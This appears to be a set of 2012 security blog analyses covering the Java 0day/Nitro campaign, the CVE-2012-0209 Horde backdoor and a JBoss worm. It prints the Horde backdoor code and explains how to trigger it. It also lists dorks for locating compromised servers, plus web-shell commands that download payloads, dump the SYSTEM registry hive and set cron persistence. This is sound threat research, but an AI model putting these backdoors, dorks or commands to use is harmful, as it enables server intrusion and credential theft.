Java 0Day and the Targeted Nitro Attacks Campaign Analysis

Symantec, Kaspersky Labs, Trend Micro, Sophos and other security vendors continue to surf on the Java 0day targeted attack stuff.

The vendors have agreed, in communion, that Java 0day was potentially used by the Chinese Nitro gang, through spear-phishing campaign. Nitro gang is well-known since another targeted campaign in 2011, reported by Symantec, focusing on organizations in the United States, Bangladesh and U.K.

Nitro gang, potentially the source of the newly discovered Java 0day, is using IP addresses and other characteristics that were common from the 2011 targeted attack, like the same C&C ( for example) and the same files (“Flash_update.exe” for example).

For Kaspersky Labs, “the attacks have been going on for more than a week“. For Symantec, “the attackers have been using this zero-day for several days since August 22“. For Trend Micro, “Nitro attackers were continuing to send out emails to their targets with direct links to Poison Ivy executables in early August 2012“.

As all the vendors agree on the time frame and the source of the attack, we will take a  look on all information’s we can gather around this story.

First C&C server

The first known C&C was ““, also used in the 2011 campaign. I reported in my previous blog post, that the IP address was well-known since many months. As you will see here under the C&c server is well-known, dropping lot of malwares, with various domain names.

All information’s gathered on this C&C server:

2012-04-18 – Analysis (2819365de89a5e07c2c20b2b462a3487): Analyzed file was “upgrade.exe“, with DNS request to “” aka ““.

2012-04-20 – Analysis (156d00c795d6d2857fd49f570e894803): Analyzed file was “upgrade.exe“, with DNS request to “” aka ““.

2012-04-24 – Analysis (af6d20abc953e18a84beac84ea87fce3): Analyzed file was “Flash_updata.exe” with DNS request to “” aka ““.

2012-04-25 – Analysis (ac1066eeab14150e2ed20e88d8ca1acb): Analyzed file was “flash_updata.exe” with DNS request to “” aka ““.

2012-06-21 – Analysis (d0d335fbc6d9fdbaf8a0af44ae2944c7): Analyzed file was “update.exe” with DNS request to “” aka ““.

2012-06-25 – URL Query Analysis (75475): Analyzed URL was “” aka ““.

2012-06-26 – URL Query Analysis (75932): Analyzed URL was “” aka ““.

2012-07-10 – URL Query Analysis (86487): Analyzed URL was “” aka ““. Domain name used during the Java 0day discovery, coincidence ?

2012-07-11 – URL Query Analysis (87414): Analyzed URL was “” aka ““.

2012-08-17 – Sophos Analysis (Troj/Agent-XNE): DNS request to “” and “” aka ““.

2012-08-20 – Analysis (e2fc730981c1c9c55b961bbbd609c6d3): Analyzed file was “KB2690533.exe” with DNS request to “” aka ““. Interesting “KB2690533.exe” binary name we will search later same occurrences.

2012-08-27 – Analysis (1360ac6d139f19d590bd3b05fa12c8c0): Analyzed file was “upgrade.exe” with DNS request to “” aka ““.

2012-08-27 – URL Query Analysis (147268): Analyzed URL was ““.

2012-08-27 – URL Query Analysis (147552): Analyzed URL was “” aka ““.

2012-08-27 – Analysis (4a55bf1448262bf71707eef7fc168f7d): Analyzed file was “hi.exe“, the famous one, with DNS request to “” aka ““.

2012-08-27 – Analysis (c0c81cf499136515e22f39e70ef78eec): Analyzed file was “antivirus.exe” with DNS request to “” aka ““, and two HTTP requests to “” and ““.

First reported infected server

The first reported infected server was “” with “” IP address. The related infection URL was “” with malicious loaded “applet.jar“. The IP address is located in Singapore. I also reported, in my previous blog post, that the IP address was well known since many months.

Second reported infected server

The second reported, by Symantec the 30 August, infected server was ““. The related infection URL was “62.152.104.XXX/public/meeting/index.html” with malicious loaded “applet.jar“. The IP address is located in Italia.

Until the 30 August, “index.html” file, present on the second infected server, was an obfuscated JavaScript charging the malicious Java 0day “applet.jar” aka “cve2012xxxx.Gondvv.class” and the Poison Ivy backdoor “Flash_update.exe“. The “index.html” file was part of Gondad exploit kit, like as for the first infected server.

URL Query report that “” is known since the 2012-08-24 with the same malicious URL. The date is corresponding on the “Last modified” date reported by the infected server. All the files have the 2012-08-24 date, except “1.php“.

Screenshot taken the 29 August
Screenshot taken the 29 August

If you browse the server indexed directories, you can find a Rhino exploit “index.jar“, how is available since 2012-03-16.

Screenshot taken the 29 August
Screenshot taken the 29 August

I you continue to browse the directories, you can also find CVE-2010-3856 Linux exploit ““, used to backdoor the server. These files date are 2011-11-29.

Screenshot taken the 29 August
Screenshot taken the 29 August

As you have seen, all the screenshots were taken the 29 August. I have monitor the server and the files present in the “/public/meeting” directory have change the 30 August, with a new variant of “applet.jar” and some new files like “feq.html” (VirusTotal analysis / analysis). analysis reported a new C&C server aka ““, how is actually down.

KB2690533.exe C&C dropped binary

The 20 August “KB2690533.exe” file was dropped, from the C&C server, and we can find some additional information’s regarding the file name.

2012-08-16 – URL Query Analysis (133150): Analyzed URL was “” aka ““.

2012-08-17 Cisco Threat Outbreak Alert: “significant activity related to spam e-mail messages that claim to contain a Security Update for the recipient”. What mean significant ? The spam e-mail message text is looking similar to the spam e-mail message reported by Trend Micro the 30 August. Coincidence, we will see that it is not a coincidence.

Subject: Security Update


Message Body:
Because of the office network interfaces changed.Please download the Security Update fot windows XP (KB2690533),and install it. Download address: hxxp://

Also the following Chinese web site is reporting some URLs the 2012-08-21 and we can find ““, “” and ““.

Spam e-email message reported by Trend Micro

In his blog post Trend Micro is reporting some typical spam e-mail message with direct links to Poison Ivy executable in early August 2012.

As you can see this email message is in the same style as the message detected by Cisco the 17 August.

If we search on the username string “alcoauser“, we can find some additional information’s:

2012-08-02 – Another Cisco Threat Outbreak Alert: “significant activity related to spam e-mail messages” with exactly the same content as the content provided by Trend Micro and we can find the “” server where the 0day was discovered.

Other e-mail message spotted by a Chinese website

In his blog post Trend Micro is reporting another e-email how was spotted in April 2012.

If you already have VPN installed on your computer, you’ll be asked to download and install update the next time you start VPN. Once the new update is installed, VPN should function normally.
Download and install the updated:
You must have administrative privileges on your computer to install any VPN client. Please contact your desktop support staff if you need assistance.
Morris Kristi
[email protected]

This e-mail message is in the same style as the previous e-mail messages. The malicious URL was “” with IP address ““. This domain name and IP address were first spotted by ScumWare.orgthe 30 March. Another additional domain name was reported “” on the same server the 24 April.” domain name was spotted by 04 April by Clean MX realtime database, but if you take a look on the complete “*” domain names, you can see that “” was catched the 23 February !

More interesting, the characteristic of the Java 0day spreading was URL like “/public/meeting/index.html” or “/meeting/index.html“. Clean MX realtime database report this URL for the first time for “” the 02 July.


If they’re was an active targeted Nitro campaign, this campaign has start during February 2012 with different infection vectors. The campaign has been catched many times by different security researchers and vendors, but nobody has raise the alert flag until end of August. I think that nobody has care on the pseudo earlier catched “targeted” campaign, and that the Java 0day was the alert flag.

Second opinion, I really think that the Java 0day was out for a minimum of 2 or 3 months before his public discovery.

And last but not least opinion, I still continue to believe that it was not so targeted as the vendors try to make us believe.

Oracle Java 0day and the Myth of a Targeted Attack

FireEye (@fireeye) were the first to speak around the Oracle Java 0day in a nice blog post “Zero-Day Season is Not Over Yet“. As they mentioned in the blog post it was just a matter of time that a PoC will be released. The tweet was dated from 9:26 PM – 26 August, 2012.

@jduck member of Metasploit team had sufficient information’s contained in this blog post to seek the mentioned infected domain ““, how was hosted in China with “” IP address and running on “IceWarp/4.1” web server port 80/TCP or 443/TCP. A scan of around 20K servers and the juicy “applet.jar” was found 🙂 Less than 5 hours (2:01 AM – 27 August, 12) later a PoC was available, and less 24 hours later (11:36 AM – 27 August, 2012) the fully functional exploit was added to Metasploit. This exploit is working on Microsoft Windows with Internet Explorer, Firefox & Chrome, but also under Linux with Firefox running the latest version of Java SE 7.0.

Lot of medias, antivirus companies have then try to sold us that this 0day was found in a “targeted” attack, you known the APT stuff.


But just a moment, why should all new discovered 0day be a part of a “targeted” attacks ? Just do some researches on the Oracle Java 0day origin.

The infected web server is “” with “” IP address. If you take a look on robtex, you can see that the domain name is hosted by, a free DNS hoster, involved in many past attacks. First fact, why a “targeted” attack will use a well-known domain name malware hoster ?

The IP address is hosting other domain names and this IP is also known as malware spreader since May 2012 (check SCUMWARE.ORG for all results for Second fact, why a “targeted” attack will use a will know IP address as source of the attack ? You know that all security vendors are selling “reputation” blacklists stuff ?

If you take a look at all the results of SCUMWARE.ORG you can see well-known Trojan and downloaders (Trojan.Win32.Agent.srjf, Win32/Agent.PBJ trojan, Win32/Spindest.A trojan), etc. Third fact, why a “targeted” attack will use so bad malwares to infect a “targeted” target 🙂

Now we will take a look at the source code of “/meeting/index.html” page. Ok, ok, I admit the page is containing an obfuscated JavaScript 🙂 Then just deobfuscate this JavaScript (My pastebin deobfuscated code). We can find some interesting patterns in the JavaScript code like “xiaomaolv“, “woyouyizhixiaomaolv” and “conglaiyebuqi“. All these patterns are Mandarin and Putonghua transliterated pronunciation.

  • woyouyizhixiaomaolv – ??????? – I have a small donkey
  • conglaiyebuqi – ????? – Never played

If you do a simple search on Google, you will find that these stuff were presented at BlackHat USA 2010 in “Balancing the Pwn Trade Deficit“. So these patterns are known since 2 years minimum. Fourth fact, why a “targeted” attack will use known patterns, aren’t anti viruses only good to detect static patterns ? Also guys, not everything how is coming from China is a part of a big conspiracy against the world.

Ok, let continue to analyze the deobfuscated JavaScript code. We can find other interesting patterns like “Gondvv.class“, “gondady” and “gondad“. Here also a simple search on Google and you will find that this code is part a well-known exploit kit, “Gondad Exploit Kit“. Fifth fact, is a “targeted” attack using popular exploit kits ?

Now we will continue with the “hi.exe” file, located in “/meeting/hi.exe” folder. Through malware service analysis, you can see that the malware is requesting for “” domain name, how is hosted on IP located in Singapore. This malware is catched by 30 of 41 anti viruses on VirusTotal and the domain name is also hosted on …. Still a “targeted” attack ?

Just a moment, shouldn’t we not try to download other potential malware hosted on this server ? For example “antivirus.exe“, “officeupdate.exe” and “upgrade.exe” discovered with SCUMWARE.ORG. All these malwares are still available on the infected server and are all detected by a minimum of 25 VirusTotal anti viruses. Still a “targeted” attack ?

Also, what is surprising is that the infected server is still online, shouldn’t a server involved in a “targeted” attack been shutdown by they’re sponsors if they are catched (remember Stuxnet, Flame, etc.) ?

Should I continue with the C&C server how is also known since some months ? I think I will stop here.

What I think, is that cve2012xxxx.Gondvv.class exploit is unique, that the time frame between the discovery and the weaponization of the 0day is also unique. But what I really don’t believe is that this 0day was used in targeted attacks…

More references on the doubt of this “targeted” attack:

Trend Micro – Java Runtime Environment 1.7 Zero-Day Exploit Delivers Backdoor

While some reports have gone on to say that this particular zero-day exploit might be used in targeted attacks, our analysis showed that this may not be the case. The sites where the exploit is hosted are known distributors of various malware. The server that BKDR_POISON.BLW connects to is also a known C&C used by malware. Targeted attacks are known to stay under the radar to successfully operate. The domains/IPs this attack use alone say that there was no intention of staying hidden.

CVE-2012-0209 Horde backdoor analysis

The 13/02 Horde team has release a security alert concerning their products. An unknown intruder has hack the FTP server of Horde since minimum November 02 2011 and has manipulate three Horde releases to allow unauthenticated remote PHP execution. The intruder has maintain access to the servers until February 7. The issue is currently tracked through CVE-2012-0209.

The affected releases are:

  • Horde 3.3.12 downloaded between November 15 and February 7
  • Horde Groupware 1.2.10 downloaded between November 9 and February 7
  • Horde Groupware Webmail Edition 1.2.10 downloaded between November 2 and February 7

Horde 4 is not affected, the CVS and Git repositories seem to not be affected, but some Linux distributions how have download the code source from the Horde FTP server are affected. Horde team is providing version 3.3.13 for Horde, 1.2.11 for Horde Groupware and Horde Groupware Webmail Edition to remove the discovered backdoor and has also clean the FTP server.

After some researches, I found two vulnerable Linux distribution how are delivering the backdoored Horde 3.3.12. These distributions are Ubuntu precise, Debian wheezy and sid. Fedora Rawhide doesn’t seem to be impacted unless the distributed version is also 3.3.12, same for OpenSUSE 12.1. Gentoo, Mandriva and Slackware doesn’t seem to deliver this version. The impact through Linux distribution should be not so important. Only users how have download the source code from FTP are mainly affected.

The backdoor is located, for Horde 3.3.12, in the “templates/javascript/open_calendar.js” script.

link.href = '# php (isset($_COOKIE["href"]) && preg_match("/(.*):(.*)/", $_COOKIE["href"], $m))?$m[1]($m[2]):"";?>';

Take a look on the following Pastebin for the diff between a clean and a backdoored 3.3.12 version.

As you can see, if the cookie contain an array named “href” and if the content of the href variable look like to, for example, “shell_exec:’uname -a’“, the PHP function will be executed. Now that we have found the backdoor, how is this backdoor activated ?

All my previous analysis were false, after trying to exploit without success the backdoor, I have finally discover the vulnerable script.

The vulnerable script is “/services/javascript.php“. If you take a look a the script you can see that you need to do a POST request with two variables on the top of the necessary cookie.

$app = Util::getFormData('app', Util::nonInputVar('app'));
$file = Util::getFormData('file', Util::nonInputVar('file'));
if (!empty($app) && !empty($file) && strpos($file, '..') === false) {
$script_file = $registry->get('templates', $app) . '/javascript/' . $file;
if (file_exists($script_file)) {
$registry->pushApp($app, false);
$script = Util::bufferOutput('require', $script_file);
if ($send_headers) {
header('Cache-Control: no-cache');
header('Content-Type: text/javascript');
echo $script;

app” variable is one of the application how is active on the Horde installation, the applications are configured in the “/config/registry.php” file.

$this->applications['horde'] = array(
'fileroot' => dirname(__FILE__) . '/..',
'webroot' => _detect_webroot(),
'initial_page' => 'login.php',
'name' => _("Horde"),
'status' => 'active',
'templates' => dirname(__FILE__) . '/../templates',
'provides' => 'horde',

file” variable should be the backdoored JavaScript file aka “open_calendar.js“. After that you have provide the two variables and the “href” cookie, the backdoor is executed. I have develop a PoC in order to exploit the backdoor. You can find this PoC on my Pastebin.

JBoss Worm Analysis in Details

GUERRILA7  has report, the 20 October that a JBoss worm circulate to compromise servers running older version of the JBoss Application Server. The JBoss worm discovered by GUERRILA7 target Windows JBoss installation. CVE-2010-0738, published the 26 April 2010, concern a weakness in the default setup of JMX console (/jmx-console/) access security restrictions. A remote attacker could, without any login and password, execute commands in the JBoss running user context, through crafted GET or POST HTTP requests.

Affected versions were :

  • JBoss Application Server (AS) 4.0.x
  • JBoss Communications Platform 1.2
  • JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
  • JBoss Enterprise Portal Platform (EPP) 4.3
  • JBoss Enterprise Web Platform (EWP) 5.0
  • JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0

By doing some Google dorking, in order to find the original source code of the worm, I found some infected JBoss servers. You can find here under a dorking list how will provide you some of these affected servers.

  • /zecmd/zecmd.jsp?comment=
  • /idssvc/idssvc.jsp?comment=
  • /iesvc/iesvc.jsp?comment=

Most of these dorks are present in JBoss status page and you can see some juicy commands executed through the “comment” parameter, like :

GET /zecmd/zecmd.jsp? HTTP/1.0
GET /idssvc/idssvc.jsp?comment=wget+ HTTP/1.0
GET /iesvc/iesvc.jsp?comment=wget+ HTTP/1.0
GET /zecmd/zecmd.jsp?comment=cmd+dir HTTP/1.1
GET /zecmd/zecmd.jsp?comment=tftp+-i+\srve.exe HTTP/1.1
GET /zecmd/zecmd.jsp?comment=cmd+%2Fc+reg+save+HKLM%5CSYSTEM+%5Cwindows%5Ctemp%5Ct1%5C1.bin HTTP/1.1
GET /zecmd/zecmd.jsp?comment=cmd+%2Fc+del+%5Cwindows%5Ctemp%5Ct1%5C*+%5Cinetpub%5Cwwwroot%5Cimages%5Clogo22.gif HTTP/1.1
GET /zecmd/zecmd.jsp?comment=netstat+-nl HTTP/1.1

After some time, I found an affected Linux server how reveal the details of one of the “*.tar.gz” file, in this analysis “javadd.tar.gz“.

javadd.tar.gz” contain these files :

bm.c / bm.h / pnscan.c / version.c / Makefile / install-sh / ipsort :

These file are part of Pnscan [pnsc] how is a multi-threaded port scanner with an extra capability to send and look for specific strings. These script need a compiler (gcc for Linux) to work. We will explain further how pnsc is used in the worm. : Source code

This file as described by GUERRILA7 is an IRC like script, but the connexions are done in HTTP mode on port 8080/TCP. The version I found contain more C&C servers, but actually all of them are down.

  • is down.
  • point to a IN A 🙂
  • is down.
  • is down.
  • is down.
  • point to a IN A 🙂
  • The last C&C entry is more funny : its”.time().” With this kind of entry you have a potential of billions of C&C servers 🙂

Owner of the C&C should have an nickname containing “iseee” to give orders to the remote affected JBoss server. : Source code

This script will act as the major injection and propagation code. First of all, if the current JBoss running user is root, the script will call “” script. I will describe further the usage of this script.

The script will try to compile the “pnscan” script and will then execute the “” script. Through the “sudoku” variable (LOL), the script will then execute “pnscan“.

$sudoku="./pnscan -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6500 $partx.$party.0.0/16 80 > $fl";

pnscan” will try to find “JBoss” in the response string after submitting a HTTP HEAD request to random destination IPs in /16 range. All the results are saved into this file :


After the execution of “sudoku“, the script open the results and try to find possible vulnerable targets how have return “JBoss” in response.

Here an attack is attempted by using the following payload (Source code), through another HTTP HEAD request to “/jmx-console/“. The decoded payload is a simple Java JSP backdoor form how allow command execution and result display (Source code).

Depending on the infection script the Java JSP script will be pushed into as “idssvc.war“, “zecmd.war” or “iesvc.war” on the server.

Once infected, the newly infected server will receive the order to execute “” through the Java JSP backdoor. : Source code

This script will be executed by “” and will try to download some additional scripts, not actually available, from some domains also presents in “” script. But these downloads are done by a compiled C script, installed in the root directory as “.sysdbs” file and planned to be executed by cron at 01:01 AM the day 10 of the month.

echo '1 1 10 * * /root/.sysdbs' >> /tmp/myc
crontab /tmp/myc
rm /tmp/myc

So normally the 10 November at 01:01 AM the additional script should be downloaded by the actual inactive domains. I have analyze 4 Linux variant of these scripts and all have the same behaviors.